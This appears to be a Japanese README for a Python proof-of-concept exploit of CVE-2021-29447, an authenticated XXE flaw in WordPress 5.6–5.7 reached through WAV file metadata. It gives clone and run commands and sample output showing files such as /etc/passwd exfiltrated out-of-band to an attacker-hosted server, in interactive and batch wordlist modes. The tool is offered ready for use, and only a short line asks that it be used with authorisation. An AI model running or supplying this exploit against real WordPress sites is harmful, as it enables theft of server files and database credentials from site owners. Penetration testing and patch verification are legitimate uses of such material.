
WordPress 5.6-5.7(PHP 8+)の認証済みXXEインジェクションを悪用するPOC。
WordPress 5.6〜5.7に存在する認証済みXXE脆弱性(CVE-2021-29447)をWAVメタデータを介して悪用するPython PoCです。WAVファイルのiXMLチャンクを悪用して、/etc/passwdやwp-config.phpなどの機密データを帯域外(OOB)流出させ、そのままdump/ディレクトリへ保存します。
このスクリプトは、WordPressがWAVメタデータを解析する際の**XML外部実体(XXE)**の欠陥を利用します:
/etc/passwd)を読み取り、Base64エンコードするよう指示します。dump/に書き込みます。-i): CTRL+Cまでファイルパスを順に要求します。アドホックな調査に最適です。-w <file>): リストから多数のファイルパスを一括処理します。--no-http): 内蔵サーバーの代わりに独自のWebサーバーを使用します。--debug): 詳細なHTTPおよび内部デバッグログを表示します。[CONFIG]、[UPLOAD]、[DUMP]、[WARN]、[ERROR] という接頭辞ラベルで状態をすぐに確認できます。git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
pip3 install requests
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -i
[CONFIG] Interactive mode (CTRL+C to exit)
File> /etc/passwd
[CONFIG] DTD written: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV built
[INFO] Nonce: d87f00a552
[DUMP] Dumped: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulnerable.local/wp-content/uploads/payload.wav
File>
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -w wordlist.txt
[CONFIG] Loaded 4 paths from "wordlist.txt"
[CONFIG] Using HTTP server at 10.10.14.8:8080
[CONFIG] Starting batch exfiltration...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] No exfil for /etc/hostname within 6s, continuing
[UPLOAD] Upload ok (200)
[ERROR] Upload fail (502) on "/nonexistent"
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local --no-http --debug -w wordlist.txt
独自のHTTPサーバーを使用して
dtd/をホストし、コールバックをキャプチャします。デバッグログは[DEBUG]として表示されます。
dtd/ – ターゲットへ配信される生成済みDTDファイル。dump/ – デコードされたファイル内容。元のパスにちなんだ名前が付けられます。EXFIL_TIMEOUT変数(デフォルト6秒)を変更します。--debugを有効にして、認証、アップロード、コールバックの問題を診断します。このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。
MIT Licenseの下でライセンスされています。貢献を歓迎します。ハッキングを倫理的で楽しいものに保ちましょう! ✨
| 引数 | 必須 | 説明 |
|---|
-H, --host | ✅ | DTDの配信とコールバック受信用のローカルホスト/IP |
-p, --port | ✅ | HTTPサーバーのローカルポート |
-u, --user | ✅ | アップロード権限のあるWordPressユーザー名 |
-P, --pass | ✅ | WordPressパスワード |
-d, --domain | ✅ | 対象のWordPress URL(http://を含む) |
-w, --wordlist | ❌ | 取得するパスを改行区切りで含むファイル |
-i, --interactive | ❌ | ファイルパスを対話的に要求する |
--no-http | ❌ | 内蔵HTTPサーバーの起動をスキップする |
--debug | ❌ | デバッグログを有効にする(詳細なHTTPと内部情報) |